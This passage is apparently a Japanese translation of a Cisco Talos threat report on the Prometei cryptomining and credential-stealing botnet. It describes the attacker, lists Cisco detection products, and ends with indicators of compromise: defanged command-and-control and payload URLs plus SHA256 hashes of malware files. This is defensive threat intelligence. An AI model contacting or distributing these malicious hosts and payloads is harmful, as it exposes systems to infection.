その背後にいる攻撃者は、おそらく開発者と同一人物です。EternalBlue などの SMB エクスプロイトと認証コードを統合する能力や、Mimikatz や FreeRDP などの既存のオープンソースプロジェクトを使用した攻撃手口(TTP:戦術、技術、手順)を見ると、プロの開発者が関与していると考えられます。
計算能力の無断活用だけでなく、ログイン情報の窃取と検証を行うボットネットのふるまいも懸念点です。これまでに確認されたのは、盗まれたログイン情報が横方向への拡散に使用されていることだけでしたが、ログイン情報は闇市場でも価値があります。重要な管理者ユーザ名とパスワードを失うことによる損害リスクは非常に大きいと言えます。そのため、システムで Prometei ボットネットを検出したら即座に削除し、ログイン情報がコマンド & コントロールサーバに漏洩しないようにする必要があります。
カバレッジ
今回の脅威は、以下の製品で検出してブロックすることが可能です。
Advanced Malware Protection(AMP)は、これらの攻撃者がマルウェアを実行できないようにするための最適な方法です。AMP 内に存在するエクスプロイト防止機能は、このような未知の攻撃からお客様を自動的に保護するように設計されています。
Cisco クラウド Web セキュリティ(CWS)または Web セキュリティアプライアンス(WSA)の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。
E メールセキュリティは、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。
次世代ファイアウォール(NGFW)、次世代侵入防御システム(NGIPS)、Cisco ISR、Meraki MX などのネットワーク セキュリティ アプライアンスは、今回の脅威に関連する不正アクティビティを検出します。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコセキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすると、最新状態を維持できます。
IOC
OSquery
Cisco AMP ユーザは、Orbital Advanced Search を使用して複雑な OSquery を実行し、エンドポイントが MedusaLocker などの脅威に感染しているかどうかを確認できます。類似の脅威に対応する OSquery の具体例については、以下をクリックしてください。
URL
hxxp://103[.]11[.]244[.]221/crawler[.]php
hxxp://103[.]11[.]244[.]221/lR[.]php
hxxp://208[.]66[.]132[.]3:8080/7z[.]dll
hxxp://208[.]66[.]132[.]3:8080/7z[.]exe
hxxp://208[.]66[.]132[.]3:8080/_agent[.]7z
hxxp://208[.]66[.]132[.]3:8080/chk445[.]php
hxxp://208[.]66[.]132[.]3:8080/Desktop[.]txt
hxxp://208[.]66[.]132[.]3:8080/dllr0[.]php
hxxp://208[.]66[.]132[.]3:8080/srchindx2[.]php
hxxp://208[.]66[.]132[.]3:8080/zlib[.]php
hxxp://208[.]66[.]132[.]3:8080/ztasklist[.]php
hxxp://69[.]28[.]95[.]50:180/miwalk[.]txt
hxxp://69[.]28[.]95[.]50:180/walker14364[.]php
hxxp://69[.]84[.]240[.]57:180/lR[.]php
hxxp://69[.]84[.]240[.]57:180/miwalk[.]txt
hxxp://69[.]84[.]240[.]57:180/walker14364[.]php
hxxp://bk1[.]bitspiritfun2[.]net/cgi-bin/prometei[.]cgi
hxxp://p1[.]feefreepool[.]net/cgi-bin/prometei[.]cgi
hxxps://gb7ni5rgeexdcncj[.]onion/cgi-bin/prometei[.]cgi
hxxps://211[.]23[.]16[.]239/prometheus[.]php
SHA256
svchost.exe SHA256
601a1269ca0d274e518848c35a2399115000f099df149673b9dbc3cd77928d40
58d210b47abba83c54951f3c08a91d8091beae300c412316089b5506bd330adc
ae078c49adba413a10a38a7dcfc20359808bc2724453f6df03a517b622cbca0e
9a5c109426480c7283f6f659cb863be81bd46301548d2754baf8b38e9e88828d
d363dc2aafdf0d9366b5848fc780edfa6888418750e2a61148436908ea3f5433
8ca679d542904a89d677cb3fd7db309364f2214f6dc5e89099081835bec4e440
fe0a5d851a9dd2ba7d1b0818f59363f752fc7343bdfc306969280ade54b2f017
7f78ddc27b22559df5c50fd1e5d0957369aadd1557a239aaf4643d51d54c4f94
0d6ca238faf7911912b84086f7bdad3cd6a54db53677a69722de65982a43ee09
c08f291510cd4eccaacff5e04f0eca55b97d15c60b72b204eae1fc0c8d652f48
f6eddbabc1d6b05d2bc27077bcb55ff640c5cf8b09a18fc51ed160a851f8be58
8b7b40c0f59bbe4c76521b32cc4e344033c5730ccb9de28cfba966d8c26ca3ef
a7ad84e8f5deb1d2e32dd84f3294404a5f7f739215bdd90d7d37d74ee8a05409
76110b87e46eb61f492d680a2b34662040bb9c25c947a599536cdaf5170fe581
ecd4c12ef01028c3f544c0f7c871c6d6f256997f1b7be4c8fdbb0f8572012444
b0500636927b2ddb1e26a21fbf19a8c1fc47a260062976ddbef60fd47c21dc6e
ea2174993892789f0c1081152c31b3b3fef79c6a5016840ea72321229c7fe128
9e86d18d5761493e11fe95d166c433331d00e4f1bf3f3b23a07b95d449987b78
923201672a41f93fb43dae22f30f7d2d170c0b80e534c592e796bd8ad95654ea
1df6e9705e9ffb3d2c4f1d9ca49f1e27c4bcac13dba75eac9c41c3785a8ca4b1
msdtc SHA256
7c71fb85b94fb4ff06bbaf81d388d97f6e828428ee9f638525d4f6e488e71190
994d20fee2bd05e67c688e101f747a5d17b0352a838af818ad357c8c7a34a766
d3dc9cdb106902471ee95016440b855806e8e5dd0f313864e46126fd3ecfe4fe
分類済み
4ec815b28fe30f61a282c1943885fa81c6e0e98413f5e7f3f89ec6810f3b62a3 – SearchIndexer.exe
e0a181318eb881d481d2e4830289ed128006269ace890139f054cf050351500a – chk445.exe
6935e6a303d3dff35079ae3ec78fd85b7bd4ff3ee2458b82cbfa548d7972c6d7 – crawler.exe
7c71fb85b94fb4ff06bbaf81d388d97f6e828428ee9f638525d4f6e488e71190 – SearchIndexer.exe
a02b532cc9dc257009d7f49382746d9d0bce331a665f4a4c12ae6fc2917df745 – miwalk.exe
7c71fb85b94fb4ff06bbaf81d388d97f6e828428ee9f638525d4f6e488e71190 – msdtc.exe
a303bc8d4011183780344329445bc6dfbb8417f534f304c956e4f86468d620d5 – nvstub.exe
0970037be8f90c3b2b718858a032e77916969113823895e268c7693dddba1181 – nvsync2.exe
dc2fee73b41d488a1cccd905ecc9030e66ff7c7e5dcf60fc580406c6f8090854 – nvsync4.exe
382c3e80eadd7ca7b224ebe1fe656555fb15227face38fbea40ae4a9515ecb80 – ps.exe
54967e106bb2acfd5b4e69fc385c1c20d5af3bdc79b629a9e3ddb3a2375f0bc1 – rdpcIip.exe
b65aef379e3173ca32b83fd0c54483c2090966910fdda3145af97b5dbff85427- smcard.exe
0dd1d869b3c7ce4af03ce4db6172b84d66c3779b48493d7e504de9d350195c5b – socks.exe
559d65f11e9143dfb093cabc6a1430438643922035765a445276abd80c15ce4b – svchost1.exe
c08f291510cd4eccaacff5e04f0eca55b97d15c60b72b204eae1fc0c8d652f48 – svchost2.exe
94d066b7d2d8b95d6da525f61c19a7bbdec5afdb033dfe2712dd51d5073b1db2 – svchost64bitearlier.exe
f09679bae1388033b17196f92430678e7b15816648f380bb4de3dd25009011b7 – ztasklist.exe
0ed9ac4238a4b5aadcd845e4dcd786ce2ee265a6b1a50e8b9019cceb6c013de5 – tor-gencert.exe
f6eddbabc1d6b05d2bc27077bcb55ff640c5cf8b09a18fc51ed160a851f8be58 – zsvc.exe
その他
a02b532cc9dc257009d7f49382746d9d0bce331a665f4a4c12ae6fc2917df745
f555431a09ae975ac0e8f138ce4eaf44cd8a3460e3bb7ba44b0101cd3a5b1157
61428b3d336636bfef0e7fe1783f9b2d62182c06d3928ec4b9b7201170e24fb6
89d5e5d51e9bb0cee8708adc5dd3e961410b6a55963f020a5930ed93aa68c0eb
24554a4eed764023d6e5e4990729308ee80ce0f3437ab4af6ad0ebff64512516
3574734ad6416ca584c4c0211156fb24107e9b983e6542199736530e4a4effcd
7f7f474d054ffc638b72f8bdd34e31315a8c72846d15479f86919569fea5b5fc
0c821863e8fd8e493d90004f734055f91b8f43d3b905a38dc983443146f48602
236120868431f1fe3637623a8a4cbda6bbfdd71c4e55a1dff76efa0381274623
02e1852066ad61bddf98943cb8e3091d6e23d75bf24340809e8212aedfd6e450
50c5a74fd34ae16557e077e4116b823d049ac735e0ec31328851b385b4891523
1946c56c261d86dd78f087cb6452a0cc58895c7bcb7c73a8023ee6c9d5a5c2eb
57cb49a5406b0ed9c81907940fda8cd534116e19a7821ad3061b209f46675f2d
a1c05973ac397fe81b2e553aecc322c794dc5977928e7b56cf1c8a62f68afdf0
efaa199e64bd4132a4bf783c37bbc20fefb6ea45ff60ea68f4a4214bf8ab1268
54967e106bb2acfd5b4e69fc385c1c20d5af3bdc79b629a9e3ddb3a2375f0bc1
a122eeeac51784d54ddf159749b4e657ad821037237c07540fb2ff25a67b1210
eeb1a574da0836a4ac34132d96fd442d7c5827e607389ef1dfebeb419a09dae7
本稿は 2020 年 7 月 22 日に Talos Group のブログに投稿された「Prometei botnet and its quest for Monero」の抄訳です。